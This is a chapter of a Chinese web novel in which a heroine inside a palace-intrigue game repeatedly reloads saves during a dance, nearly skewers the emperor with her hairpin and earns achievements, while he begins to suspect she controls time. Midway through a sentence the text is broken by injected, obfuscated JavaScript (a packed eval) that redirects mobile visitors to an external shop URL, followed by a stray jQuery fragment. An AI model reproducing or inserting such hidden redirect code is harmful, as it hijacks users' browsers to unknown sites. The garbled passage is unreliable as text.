文趣网 > 其他小说 > 第四天灾,但古早宫斗文游 > 17. 第 17 章
    “嗯?”傅岁久已经习惯了栾烨的怒斥声,听见他的声音就像听到了下课铃,提醒她时间差不多了哦。

    还没等栾烨张口叫来侍卫,她就先一步抬手回了档。

    有了上一次许昭莹的悉心指导,这次傅岁久总算能跟上一点了,可还是不够。

    她依样画葫芦地拉来了许昭莹,要她再示范一次。

    原本看傅岁久出糗,许昭莹的心里很是痛快,自也乐意上前献舞,好将她比下去。

    只是不知怎的,她感觉自己的双腿沉重得厉害,脚尖也泛着隐隐约约的疼痛。

    她俯身揉了揉自己酸胀的小腿,又抬眼望了望堂上的皇帝与太后,咬咬牙,仍是扬起头冲两人颔首,低声道:“那小女就献丑了。”

    傅岁久努着嘴双手抱臂,站在一旁尽力记住每个动作。

    她感觉到,这一次许昭莹的动作似乎慢了许多。

    明明刚刚自己无论怎么求她慢下来,她都不肯来着。

    原来是傲娇啊!

    她正为自己这一发现感到欣喜,却见许昭莹“噗通”一声摔在了地上。

    许昭莹轻轻拉开自己的罗裙,藏在裙摆下的脚踝肉眼可见地肿了,她的眼泪也不自觉地啪嗒啪嗒往下掉。

    看她哭得撕心裂肺,傅岁久也有些于心不忍,拿了帕子替她擦了擦眼泪,叹了一声:“好了好了,不哭了。看在你帮我这么多次的份上,我救你。”

    说着傅岁久便又读取了存档,心里难免有些忐忑。

    她不知道这一次读档许昭莹还会不会崴到脚,为了避免这个悲剧,她只能尽力地还原刚刚学的舞蹈,免得再让许昭莹上来一回。

    握着手里的簪子,她一边跳一边信心满满地望向堂上的栾烨。

    她正为自己现学现卖的小机灵感到佩服,灵巧的小手转动着手里的金簪。

    谁曾想手里的金簪就此脱手,飞了出去。

    眼看着那簪子直冲冲向着自己的脑门,栾烨下意识地躲了躲,这才免于横死在簪子之下。

    “咚”的一声响,簪子直接穿过他的发冠,插进了他身后的龙椅上。

    他清晰地感受到后颈一凉,连指尖都有些微微发麻。

    “够了!”栾烨一拍桌子,周围的侍卫闻声赶来,准备将傅岁久扣下。

    侍卫们一拥而上,傅岁久却先一步跑到了栾烨的面前。

    “骚瑞啊。”她不好意思地挠挠脸,伸手取下那柄插在他发冠距离脑壳只有几厘米的发簪,拍拍栾烨的脑袋,“小皇帝我不是故意的,原谅我吧~”

    “有刺客!!”

    “抓刺客!!”

    众人被她的举动吓得不轻,生怕她要用手里的簪子接着刺杀皇帝。

    就连栾烨也不由得睁大了双眼,一眨不眨地盯着她看,心跳一滞。

    他眉头低压,用手摁了摁胸口,试图将那些心跳加速带来的不适感都压下去。

    “骗你的,不原谅也得原谅啦。”傅岁久冲他吐了吐舌,随手点了回档。

    话音刚落,栾烨便觉得眼前一黑。

    再一睁眼,傅岁久仍是那副低眉顺眼的乖巧模样,只是时不时俏皮地扬起头看他一眼。

    悠扬的笛声响起,傅岁久按照刚刚许昭莹教的舞步跳了起来。

    抬手取下那末利簪子,她被随意挽起的长发也随之披落,散在了她的肩上。

    青丝与她罗裙上轻薄的纱一起被她舞得犹如注入了几分生气,好似连这些死物都有了灵魂,成了生灵。

    只是堂上的栾烨依旧板着一张脸,没有了从前欣赏她舞姿的余裕。

    他一只手撑着脑袋,双眸微微眯起,耐性已然所剩无几。

    傅岁久全然没有感受到他身上笼罩的阴郁,满脑子都在回想刚刚许昭莹到底是怎么跳的。

    她学着许昭莹做出那些高难度的动作,没一会儿就摔了个底朝天。

    栾烨眼睁睁看着她从地上爬起来之后挠了挠脑袋,再次眼前一黑。

    乐曲又重新回到了最初的那一段,这笛声听得他胃部抽搐,无端地有些想吐。

    “够了!”栾烨忍无可忍,振声怒斥,“不要再跳了!”

    身侧的太后原本还露着欣赏的表情,如今闻言也是一怔,不解地望他一眼,“烨儿,做皇帝怎么能如此朝令夕改。不是你要她跳的?”

    这一曲都还没舞完,他竟又改了主意,大发雷霆。

    这孩子,脾气怎么这么差?

    “……太后,你有所不知——”

    “再怎样也得等人跳完了再做定夺不是?”

    看着太后温和的面容,口中却是他听得无比厌倦的训诫,栾烨实在是有些恼怒。

    可一回想,先帝已去,他的母妃早早地成了太后,在他还未能独当一面时,是太后为他撑起的一片天。

    他们孤儿寡母的,本就该相互扶持,他不该冲她恶语相向的。

    再说,也就一支舞罢了,等等便是。

    栾烨沉了口气,信手拿起一旁的茶盏,无奈地撇撇嘴,正要抬手示意她接着舞,眼前却突然一黑。

    耳边是她小声的嘀咕:“怎么回事?之前没这段啊。”

    栾烨:……

    傅岁久有些不解地回了档,听到一旁的乐师开始奏乐,她便有些胆怯地抬眼看了看堂上的栾烨。

    见栾烨眉头紧皱,望她的眼神就像要把她拆吃入腹,她不由得脸颊一红。

    果然刚刚只是游戏偶然出的一次bug,小皇帝还是很喜欢看她跳舞的。

    她随着音乐舞动,心里的自豪感几乎要漫过了胸腔。

    小时候她跟着姥姥生活,那里也不曾有过什么兴趣班,更不知道什么舞蹈。

    等到她被父母接回城里生活,有时学校会举办些文艺汇演什么的,她看着同学们个个都身怀绝技,不由得有些羡慕。

    她至今还记得,当初班主任要她报个节目问她有什么特长,她应说“爬树算不算”时同学们的反应。

    那些嘲讽又戏谑的笑容在她的脑海里挥之不去,成了她很长一段时间的梦魇。

    如今她也算是圆了当初的梦想,她们口中的“跳舞”也并没有那么难。

    她不过是回档了那么十几二十次,就学会了。

    就算明知道这不过是个梦,她心中的欣喜却丝毫不减。

    如果这是个梦,她希望永远都不要醒过来。

    不知不觉地,握在她手中的簪子因为她注意力的涣散再一次脱落。

    末端锐利的金簪直勾勾地冲着栾烨飞去,稳稳地插在了他大张的两腿之间。

    栾烨被吓出了一身的冷汗,颤抖着将那簪子从龙椅上拔起。

    身下的袍子被她的金簪戳出了一个洞,他甚至都不敢细想,倘若她这簪子飞得再歪一些会怎么样。

    傅岁久见状也哆哆嗦嗦地上前,不由分说地撩起他的龙袍,扬起头看他,“小小烨没逝吧?”

    “……”栾烨两眼一黑,再一睁眼,他的视线对上了一双圆滚滚的大眼睛。

    傅岁久正一眨不眨地盯着他看,一脸好奇地戳戳他,像是见了什么新鲜事一样。

    她身上泛着淡淡的清香,像是雨后林间漫出的清新空气。

    素色的褙子下是她宛若美玉的肌肤,只是大臂粗得有些不太寻常。

    栾烨轻咳两声,傅岁久这才如梦初醒地冲他笑了笑,退开半步。

    她刚要起身,眼前却唐突地闪过几行小字。

    [系统提示]恭喜您达成成就「是心动呀!」,解锁侍女功能。

    「是心动呀!」:任意男主被攻略后心率达到120可解锁。看到那颗怦怦乱跳的心了吗?那是为你心动的证明。

    “嗯?”傅岁久冲着栾烨歪歪脑袋,抄起手里的簪子作势要插进他的脖颈。

    [系统提示]恭喜您达成成就「爱情的开始」,获得一次选择侍女的机会,可任意选择一名高级侍女作贴身宫女。

    「爱情的开始」:任意男主被攻略后心率达到160可解锁。一颗心几乎要从喉咙里跳出来,看哪,他已经爱你爱得无法自拔了。

    “大胆!!”栾烨眯着眸去捉她的手,扣住了她的手腕,“你竟敢——”

    他的话到嘴边还没说完,眼前便又是一黑。

    耳边是不知哪里传来的猿猴吼叫:“哦哦哦哦哦哦!”

    看到成就一个接一个地蹦出来,傅岁久感到前所未有地鼓舞。

    要的就是这个!

    她将那簪子用衣袖遮挡,不时地由着那簪子冲栾烨飞去又迅速地踏步上前收回。

    拔除了末利图样的簪头成了一把匕首,在她的手中恣意地翻飞。

    她一边起舞一边用之前上课开小差学的转笔技巧把玩着手里的簪子,利刃被夹在她的指尖一会儿上一会儿下,像是有了生命一样会走楼梯。

    只是她转笔的技术并没有多娴熟,时不时会转丢到地上,又或者是从手里脱落,害她找了半天,最终在栾烨的头顶上找到了她甩飞的簪子。

    她仍是尴尬地冲他笑笑,上前把簪子从他的龙椅上扣下来,挠着脑袋对他说:“这次一定行!小皇帝你要信我呀。”

    栾烨紧绷着一张脸,扣住她的手腕,将她往下一拽。

    她肩上的发丝擦过他的鼻尖,在他的手臂上轻轻划过,一阵痒意渐渐从他的小臂蔓延开。

    被他用力地拽了拽,身体一瞬间失衡,她只能将手按在他宽厚的肩上支撑,有些错愕地垂眸看他。

    望着她惊愕的神情,他只觉得不屑,厉声问道:“谁派你来刺杀朕的?栾岷津?”

    傅岁久:……

    这话好像在哪里听过。

    “说!”栾烨将她的手攥得更紧了,一双丹凤眼目眦欲裂。

    她行刺的手段太过拙劣,佯装失手地将簪子甩出去,可这簪子却永远是冲着他的头去的,摆明了是要取他的性命!

    也难怪栾岷津偏要向他讨这么一个人,原来是一对祸国鸳鸯。

    “我,我真没要杀你。”傅岁久被他狰狞的面孔吓得有些心头发怵,手用力地撑着他的肩膀想要推开他,“要怎么说你才相信?”

    “还说谎?”栾烨用力将她拽到身前,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17583308|204621||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    与她四目相对,目光灼灼,“别以为你装无辜就可以蒙混过关。”

    任她如何佯装不知,也依旧没办法改变她是刺客的事实。

    刺杀皇帝是大罪,这绝不是她一句“没有”就可以糊弄过去的。

    “我真没有!!嗨呀!!”傅岁久仰天长啸,哀嚎一声:“要个奖励怎么这么难!”

    说罢,她便又再次读档。

    再次回来,她怯生生地望向栾烨。

    那人依旧是一副阴恻恻的眼神,仿佛她从未读取存档一样。

    “嗯?”傅岁久皱了皱眉,有些不解。

    难不成是存档没读取成功?

    她翻来覆去地读了几次档,栾烨仍然是垮着一张脸,只有时不时蹦出来断断续续的几个字节:“你”、“停”、“够”、“想”、“赏”——

    发觉他每次说出来的话都有些细微的差别,她有些不可置信地再读了几次档。

    最后一个“赏”字出现的频率明显升高了。

    堂上的男人一脸严肃地盯着她,像是旧录音带卡带了一样,嘴巴语无伦次地念着:“赏、赏、赏。”

    嗯?她还没开始跳呢。

    她点开自己成就栏,「是心动呀!」与「爱情的开始」赫然在列,显然没有坏档。

    那就是卡Bug成功了!

    傅岁久心满意足地停下读取存档的手,抿着唇抬眼看栾烨,耐心等待他的赏赐。

    然而堂上的栾烨却一声不吭,只有些嫌恶地蹙了蹙眉,伸手摸了摸自己的舌尖。

    “陛下,你流血了。”站在栾烨身后摇扇的李泰和看得很清楚,他的手上沾染了星星点点的血迹。

    “……”栾烨白了他一眼,又恨恨地盯着面前的傅岁久。

    废话。

    咬到舌头了能不流血吗?

    眼前的光景闪烁了无数次,黑了又亮,亮了又黑,直到他都有些晕眩,胃部抑制不住地抽搐。

    他的身子一向硬朗,即便是从前随着先帝出塞狩猎,跟着行军一起同吃同住,环境再如何地恶劣,他也不曾有过病征。

    只是从一个月前开始,一切便都变了。

    日子越过越长了,他开始频繁地发觉眼前一黑,再一回神,原本刚刚翻出鱼肚白的天再一次黑了。

    平日里他习惯了将奏折放在左手边,批阅完了便信手垒在右侧。只是一转眼,右侧刚刚垒满的奏折便又回到了左侧。他不可置信地一本一本翻开来看,原先批好的朱批竟消失得无影无踪。

    再就是御膳房三番四次地将放了胡荽的菜式送上来,他每次都要为了这事破口大骂,可周围的人就像不曾听过他的叮嘱似的,偏要将那些放了胡荽的菜式递到他的面前。

    他惩罚了那些屡教不改的宫人,可他们无一例外都觉得自己分外无辜,向他哭诉着:“陛下冤枉啊!您的确不曾说过这话呀!”

    所有人都把他当作了阴鸷狠戾的暴君,就连他的母亲也不例外。

    现在他终于知道为何这半月总是感觉眼前发黑了。

    一切都是因为他面前的这个妖女!

    “陛,陛下?”傅岁久见栾烨陷入了沉思,似乎已然忘记她的奖赏,这便开口试探道:“陛下方才说的赏——”

    还没等她试探的话说完,栾烨就打断了她的话,接着道:“傅少尹之女蕙质兰心,聪敏机警,赏绫罗绸缎十匹,留牌子。”

    “谢陛下恩典。”傅岁久心满意足地冲他笑了笑,双手像是苍蝇一样搓了搓。

    虽说他的笑容看上去有些诡异,似笑非笑的,但她并不在意。

    只要拿到赏赐就好!

    身后的一众秀女看得目瞪口呆。

    明明她什么都没有做,却得到了陛下丰厚的赏赐!凭什么?

    “真是狐媚妖子,净知道用那张桃花面蛊惑人。”身侧的秀女用手肘顶了顶许昭莹,小声嘀咕,“你说是吧许姐姐?”

    然而许昭莹却是一副呆愣的神情,向着傅岁久的背影眯了眯眸。

    不知怎么的,她第一反应竟不是嫉妒和厌烦。

    见许昭莹不搭理自己,那秀女又再次试探道:“许姐姐?你该不会真的为她感到高兴吧?”

    许昭莹闻言眨了眨眼,眼神闪烁,应道:“怎,怎么会?”

    傅岁久心满意足地哼哼,退回到秀女之列,享受着众人或艳羡或嫉妒的目光,全然没有注意到栾烨那狠戾的眼神。

    他死死地盯着傅岁久,搭在龙椅上的手攥得青筋暴起。

    也不知道这栾岷津是如何找到这个妖女的。

    他正腹诽着,一个可怖的念头又随之涌了上来——难不成,栾岷津也遇到了这样的怪事?

    所以栾岷津才会想要向他讨要这个妖女?可栾岷津要这妖女做什么?

    顺着这个思路,栾烨意识到一件很可怕的事:这妖女能够操控时间,若是加以善用,天地皆可收入囊中。

    届时,莫说是他在朝中的势力还不够稳固,就算是这朝廷里全是他的心腹,也依旧无法阻止栾岷津夺权篡位。

    他决不能容许这种事发生!